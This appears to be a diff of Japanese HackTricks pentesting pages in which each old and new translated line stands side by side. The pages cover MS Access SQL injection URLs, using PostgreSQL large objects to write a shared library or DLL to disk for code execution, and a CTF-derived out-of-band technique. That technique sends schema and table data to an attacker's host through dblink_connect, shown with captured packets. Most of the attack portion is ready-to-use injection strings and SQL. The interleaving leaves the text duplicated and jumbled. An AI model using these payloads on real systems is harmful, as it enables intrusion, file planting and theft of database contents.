約すると、このクエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」を、そうでない場合は「500 Internal Error」をトリガーします。TOP 10オペレーターを利用することで、最初の10件の結果を選択することができます。その後のLASTの使用により、10番目のタプルのみを考慮することができます。その値に対して、MIDオペレーターを使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、「username」フィールドの内容をすべての行についてダンプすることができます。
### 時間ベース
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)を参照してください。
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)を確認してください。
### その他の興味深い関数
* `Mid('admin',1,1)`位置1から長さ1の部分文字列を取得します初期位置は1です
* `LEN('1234')`は文字列の長さを取得します。
* `ASC('A')`は文字のASCII値を取得します。
* `CHR(65)`はASCII値から文字列を取得します。
* `IIF(1=1,'a','b')`はif thenです。
* `COUNT(*)`はアイテムの数を数えます。
* `Mid('admin',1,1)` 位置1から長さ1の部分文字列を取得します初期位置は1です
* `LEN('1234')` 文字列の長さを取得します
* `ASC('A')` 文字のASCII値を取得します
* `CHR(65)` ASCII値から文字列を取得します
* `IIF(1=1,'a','b')` if then
* `COUNT(*)` アイテム数をカウントします
## テーブルの列挙
[**ここ**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)から、テーブル名を取得するクエリを確認できます。
[**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)からデータベース内のテーブル名を取得するクエリを見ることができます:
```sql
select MSysObjects.name
from MSysObjects
@ -147,39 +141,40 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
ただし、SQLインジェクションでは、**テーブル`MSysObjects`を読み取る権限がない**場合が非常に一般的です。
```markdown
ただし、**`MSysObjects` テーブルを読み取る権限がない** SQLインジェクションを見つけることが非常に一般的です。
## ファイルシステムアクセス
### Webルートディレクトリの完全パス
### Webルートディレクトリの完全パス
**Webルートの絶対パスを知ることは、さらなる攻撃を容易にする**かもしれません。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることで、ディレクトリパスを特定することができます。
**Webルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Accessは、**Webディレクトリの完全パス名を含むエラーメッセージ**で応答します
MS Accessは、**エラーメッセージにWebディレクトリの完全なパス名を含んで応答します**
### ファイル列挙
### ファイル列挙
次の攻撃ベクトルは、**リモートファイルシステム上のファイルの存在を推測する**ために使用できます。指定したファイルが存在する場合、MS Accessはデータベースの形式が無効であることを通知するエラーメッセージをトリガします。
以下の攻撃ベクトルを使用して、**リモートファイルシステム上のファイルの存在を推測することができます**。指定されたファイルが存在する場合、MS Accessはデータベース形式が無効であることを知らせるエラーメッセージをトリガーします
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
ファイルを列挙する別の方法は、**データベース.テーブルのアイテムを指定する**ことです。**指定したファイルが存在する場合**、MS Accessは**データベース形式エラーメッセージ**を表示します。
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定することです**。**指定された**ファイルが**存在する場合**、MS Accessは**データベース形式エラーメッセージを表示します**
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdbファイル名の推測
次のクエリを使用して、**データベースファイル名(.mdb**を推測することができます。
**データベースファイル名 (.mdb)** は以下のクエリで推測できます:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
ここで、**name\[i]は.mdbファイル名**であり、**realTableはデータベース内の存在するテーブル**です。MS Accessは常にエラーメッセージをトリガしますが、無効なファイル名と有効な.mdbファイル名を区別することができます。
ここで、**name\[i]は.mdbファイル名**であり、**realTableはデータベース内に存在するテーブルです**。MS Accessは常にエラーメッセージをトリガしますが、無効なファイル名と有効な.mdbファイル名を区別することが可能です。
### .mdbパスワードクラッカー
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)は、Microsoft Access 95/97/2000/XPまたはJet Database Engine 3.0/4.0のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XPまたはJet Database Engine 3.0/4.0のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
## 参考文献
@ -187,16 +182,15 @@ MS Accessは、**Webディレクトリの完全パス名を含むエラーメッ
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
</details>
```

View file

@ -1,117 +1,114 @@
<details>
```bash
split -b 2048 yourfile
```
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
このコマンドは、指定されたバイナリファイルを2KBのチャンクに分割します。
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
そして、以下のようにPostgreSQLの`pg_largeobject`テーブルにそれらのチャンクを挿入することができます。
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (20485, 0, '\\x3c3f786d6c...');
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (20485, 1, '\\x5b7b226964...');
...
```
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
ここで、`loid`は大きなオブジェクトのID、`pageno`はチャンクの番号、`data`はバイナリデータのヘキサデシマル表現です
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
最後に、以下のコマンドを使用してファイルシステムにエクスポートすることができます。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
```sql
SELECT lo_export(20485, '/tmp/yourfile');
```
</details>
# PostgreSQL Large Objects
PostgreSQLは、**大きなオブジェクト**`pg_largeobject`テーブルと呼ばれる構造を公開しており、画像やPDFドキュメントなどのデータをまとめて処理するのに適しています。**大きなオブジェクト**の利点は、**保持しているデータを元のインポートファイルと同じコピーとしてファイルシステムにエクスポートできる**ことです。
このテーブルに**完全なファイルを保存**するには、まず**LOID**で識別されるテーブル内のオブジェクトを**作成**し、その後、このオブジェクトに**2KBのチャンク**を挿入する必要があります。すべての**チャンクが2KB**(最後のチャンクを除く)であるか、**ファイルシステムへのエクスポート**機能が機能しなくなります。
**バイナリ**を**2KBのチャンク**に**分割**するには、次のようにします:
`lo_export`関数は、指定された`loid`の大きなオブジェクトをファイルシステムの指定されたパスにエクスポートします。
```bash
split -b 2048 pg_exec.so #This will create files of size 2KB
```
各作成されたファイルをBase64またはHexにエンコードするためには、次の方法を使用できます:
ファイルをBase64またはHexにエンコードするには、以下を使用できます
```bash
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
```
{% hint style="info" %}
れを悪用する際には、**2KBのクリアテキストバイトのチャンク**base64や16進数でエンコードされたバイトではなくを送信する必要があります。自動化しようとする場合、**16進数でエンコードされた**ファイルのサイズは**2倍**になりますそのため、各チャンクごとに4KBのエンコードされたデータを送信する必要があります。また、**base64**でエンコードされたファイルのサイズは`ceil(n / 3) * 4`です。
の脆弱性を利用する際には、**2KBのクリアテキストバイトのチャンク**を送信する必要があることを覚えておいてください2KBのbase64またはhexエンコードされたバイトではありません。これを自動化しようとする場合、**hexエンコード**されたファイルのサイズは**倍**になりますつまり、各チャンクに対して4KBのエンコードデータを送信する必要がありますし、**base64**エンコードされたファイルのサイズは `ceil(n / 3) * 4` になります。
{% endhint %}
また、プロセスのデバッグ中に、作成された大きなオブジェクトの内容を表示することができます。
また、デバッグプロセスでは、作成された大きなオブジェクトの内容を以下で確認できます:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
# lo\_creatとBase64を使用する
# lo\_creat & Base64 を使用する
まず、バイナリデータが保存されるLOIDを作成する必要があります。
まず、バイナリデータが保存される LOID を作成する必要があります:
```sql
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
```
もし**Blind SQLインジェクション**を悪用する場合、**固定されたLOID**を使用して`lo_create`を利用することに興味があるでしょう。これにより、**コンテンツをアップロード**する必要がある**場所がわかる**からです。\
また、関数名は`lo_creat`と`lo_create`で構文エラーはありません
**Blind SQLインジェクション**を悪用している場合、固定された**LOID**を使用して`lo_create`を使うことに興味があるでしょう。そうすれば、**コンテンツ**を**アップロード**する場所を**知る**ことができます。\
また、関数が`lo_creat`と`lo_create`であるため、構文エラーはないことに注意してください
LOIDは`pg_largeobject`テーブル内のオブジェクトを識別するために使用されます。2KBのサイズのチャンクを`pg_largeobject`テーブルに挿入するには、次のようにします:
LOIDは`pg_largeobject`テーブルでオブジェクトを識別するために使用されます。`pg_largeobject`テーブルに2KBのチャンクを挿入するには、次の方法があります:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
```
後に、ファイルをファイルシステムにエクスポートすることができますこの例では使用されたLOIDは`173454`です
終的には、以下の操作を行うことでファイルシステムにファイルをエクスポートできますこの例では使用されたLOIDは`173454`でした
```sql
SELECT lo_export(173454, '/tmp/pg_exec.so');
```
{% hint style="info" %}
最新バージョンのPostgreSQLでは、**パスを指定せずに拡張機能をアップロードする**必要がある場合があります。[**詳細はこちらを参照してください**。](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
最新バージョンのpostgresでは、**パスを指定せずに拡張機能をアップロードする必要がある**かもしれません。[**詳細はこちらをお読みください**。](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
エクスポート後に作成された大きなオブジェクトを削除することに興味があるかもしれません
エクスポート後に作成された大きなオブジェクトを削除することに興味があるかもしれません
```sql
SELECT lo_unlink(173454); -- deletes large object with OID 173454
```
# lo\_importとHexの使用
# lo\_import & Hex を使用する
このシナリオでは、lo\_importを使用して大きなオブジェクトを作成します。幸いなことに、この場合は使用するLOIDを指定することができますできないこともあります
このシナリオでは、lo\_import を使用して大きなオブジェクトを作成します。幸いなことに、この場合は LOID を指定することができます(またはできません):
```sql
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
```
オブジェクトを作成した後、各ページにデータを挿入することができます注意2KBのチャンクで挿入する必要があります
作成したオブジェクトにデータを挿入していくことができます2KBのチャンクを挿入する必要があることを覚えておいてください
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
```
HEXは単に16進数である必要があります`0x`や`\x`なしで)。例:
HEXは単にhexでなければなりません`0x`や`\x`を除く)、例:
```sql
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
```
最後に、データをファイルにエクスポートして大きなオブジェクトを削除します。
最後に、データをファイルにエクスポートして、大きなオブジェクトを削除します:
```sql
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
```
{% hint style="info" %}
最新バージョンのPostgreSQLでは、**パスを指定せずに拡張機能をアップロードする**必要がある場合があります。[**詳細はこちらを参照してください**。](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
最新バージョンのPostgreSQLでは、**パスを指定せずに拡張機能をアップロードする**必要があるかもしれません。[**詳細情報はこちらを読んでください**。](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
# 制限事項
PostgreSQLの大規模オブジェクトのドキュメントを読むと、**大規模オブジェクトにはACLアクセス制御リストがある**ことがわかります。**新しい大規模オブジェクト**を設定することで、ユーザーがそれらを読むための十分な権限を持っていない場合でも、ユーザーが作成したオブジェクトの内容を読むことができます。
PostgreSQLの大きなオブジェクトに関するドキュメントを読むと、**大きなオブジェクトにはACL**(アクセス制御リスト)があることがわかります。**新しい大きなオブジェクト**を設定して、ユーザーがそれらを作成したにも関わらず、**十分な権限がない**ようにすることが可能です。
ただし、**現在のユーザーが読むことを許可するACLを持つ古いオブジェクト**が存在する場合、そのオブジェクトの内容を外部に漏洩させることができます。
しかし、**現在のユーザーが読むことを許可するACLを持つ古いオブジェクト**が存在するかもしれません。その場合、そのオブジェクトの内容を抽出することができます。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSのハッキングをゼロからヒーローまで学ぶ</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**を**フォロー**してください**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
</details>

View file

@ -1,49 +1,47 @@
# dblink/lo\_importデータの漏洩
# dblink/lo\_import データ流出
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
- [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
**これは、`lo_import`を使用してデータベースにファイルをロードし、`dblink_connect`を使用してそれらを漏洩させる方法の例です。**
**これは、`lo_import`を使用してデータベースにファイルをロードし、`dblink_connect`を使用してそれらを流出させる方法の例です。**
## 漏洩サーバー/非同期SQLインジェクションの準備
## 流出サーバーの準備/非同期SQLインジェクション
**抽出元:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
**抜粋元:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
`pg_sleep`遅延を引き起こさないため、クエリの実行がバックグラウンドまたは非同期で行われると安全に定できます。
`pg_sleep`遅延を引き起こさないため、クエリの実行がバックグラウンドまたは非同期で行われると安全に定できます。
通常、`dblink_connect`はリモートのPostgreSQLデータベースに永続的な接続を開くために使用できます(例:`SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`)。この関数のパラメータを制御できるため、SQL Server Side Request Forgeryを自分自身のホストに対して実行できます。つまり、SQLクエリの結果からデータを漏洩させるためにOut-of-Band SQLインジェクションを実行できます。少なくとも、次の2つの方法があります。
通常、`dblink_connect`はリモートのPostgreSQLデータベースへの持続的な接続を開くために使用されます(例:`SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`)。この関数のパラメータを制御できるため、自分のホストに対してSQLサーバーサイドリクエストフォージェリを実行できます。つまり、SQLクエリ結果からデータを流出させるためのアウトオブバンドSQLインジェクションを実行できます。少なくとも、これを行う方法は2つあります
1. **DNSサーバー**を設定し、`[data].our.domain`への接続をトリガーすることで、ログやDNSネットワークパケットでデータを表示できます。
2. **パブリックなPostgreSQLサーバーを設定し、PostgreSQLポートへの着信ネットワークパケットを監視**し、漏洩したデータを`user`/`dbname`としてホストへの接続をトリガーします。**デフォルトでは**、PostgreSQLは通信にSSLを使用しないため、ネットワーク上で`user`/`dbname`を**平文**で見ることができます。
1. **DNSサーバー**を設定し、`[data].our.domain`への接続をトリガーして、ログまたはDNSネットワークパケットでデータを確認します。
2. **公開PostgreSQLサーバーを設定し、PostgreSQLポートへの着信ネットワークパケットを監視**し、その後、`user`/`dbname`として流出データを含む接続をホストにトリガーします。**デフォルトでは**、PostgreSQLは通信にSSLを使用しないため、ネットワーク上で`user`/`dbname`を**プレーンテキスト**で確認できます。
**2番目の方法の方が簡単**です。ドメインは必要ありません。パブリックIPを持つサーバーを設定し、PostgreSQLをインストールし、PostgreSQLサービスを\*/0.0.0.0でリッスンするように設定し、ネットワークダンパーtcpdumpを実行してPostgreSQLポートデフォルトで5432へのトラフィックを監視するだけです。
**2番目の方法の方が簡単**です。ドメインは必要ありません。公開IPを持つサーバーを設定し、PostgreSQLをインストールし、PostgreSQLサービスを\*/0.0.0.0でリッスンするように設定し、ネットワークダンパーtcpdumpを実行してPostgreSQLポートデフォルトで5432へのトラフィックを監視するだけです。
PostgreSQLを**パブリックにリッスン**するには、`postgresql.conf`の`listen_addresses`を`*`に設定します。
PostgreSQLが**公開にリッスンする**ように設定するには、`postgresql.conf`の`listen_addresses`を`*`に設定します。
```
listen_addresses = '*'
```
入力トラフィックを監視するために、ポート5432を監視するために`tcpdump`を実行します。
トラフィックの監視には、ポート5432を監視するために `tcpdump` を実行します。
```
sudo tcpdump -nX -i eth0 port 5432
```
ターゲットからの接続を確認するために、次のクエリを試してみることができます。
ターゲットからの接続が得られるかどうかを確認するために、このクエリを使用してみることができます:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
```
成功すれば、読み取り可能な `user``dbname` を持つネットワークパケットの一部を取得します。
成功すると、読み取り可能な `user``dbname` を含むネットワークパケットの一部を取得できます。
```
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
@ -53,9 +51,9 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgre
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
```
次に、いくつかのPostgreSQLクエリを使用してデータベースを抽出し続けることができます。空白を含むクエリ結果に対しては、`encode`関数を使用して結果を**hex/base64**に変換するか、`replace`関数を使用して空白を他の文字に置き換える必要があります。なぜなら、これらの処理中に`dblink_connect`プロセスで実行エラーが発生するからです。
次に、いくつかのPostgreSQLクエリを使用して**データベースの抽出を続けることができます**。各クエリの結果に空白が含まれている場合、`dblink_connect`プロセス中に実行エラーが発生するため、`encode`関数を使用して結果を**hex/base64**に変換するか、`replace`関数を使用して空白を他の文字に置き換える必要があります。
**スキーマのリスト**を取得します:
**スキーマ****リスト**を取得します:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
```
@ -71,7 +69,7 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
0x0070: 6f73 7467 7265 7300 00 ostgres.
```
現在のスキーマのテーブルの一覧を取得します
現在のスキーマにある**テーブル**の**リスト**を取得する
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
```
@ -85,7 +83,7 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
```
**searches** テーブルの **行数****カウント** します。
**`searches` テーブルの**行数**を**カウント**します。
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
```
@ -99,15 +97,15 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) F
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
0x0050: 6772 6573 0000 gres.
```
現在のスキーマには空のテーブルが1つしかなく、フラグはデータベースにありません。したがって、`/var/lib/postgresql/data/secret`からデータを外部に持ち出す必要があるかもしれません。残念ながら、`pg_read_file`や`pg_read_binary_file`を使用してファイルを読み取ろうとすると、受信接続がないため、現在のユーザーがこれらの関数を使用する権限を持っていない可能性があります。
現在のスキーマには空のテーブルが1つだけあり、フラグはデータベース内に存在しないようです。`/var/lib/postgresql/data/secret`からデータを抽出する必要があるかもしれません。残念ながら、`pg_read_file` や `pg_read_binary_file` を使用してファイルを読もうとしても、現在のユーザーにはこれらの関数を使用する権限がないため、接続が来ない可能性があります。
#### postdresqlを使用した非同期SQLインジェクションの詳細情報
#### 非同期SQLインジェクションに関する詳細情報
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
## **大きなオブジェクトの内容を外部に持ち出す**
## **大きなオブジェクトの内容を抽出する**
大きなオブジェクトを使用してファイルを読み取ることができます([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html))。`lo_import`を使用してファイルの内容を`pg_largeobject`カタログにロードすることができます。クエリが成功した場合、オブジェクトの`oid`を取得します。
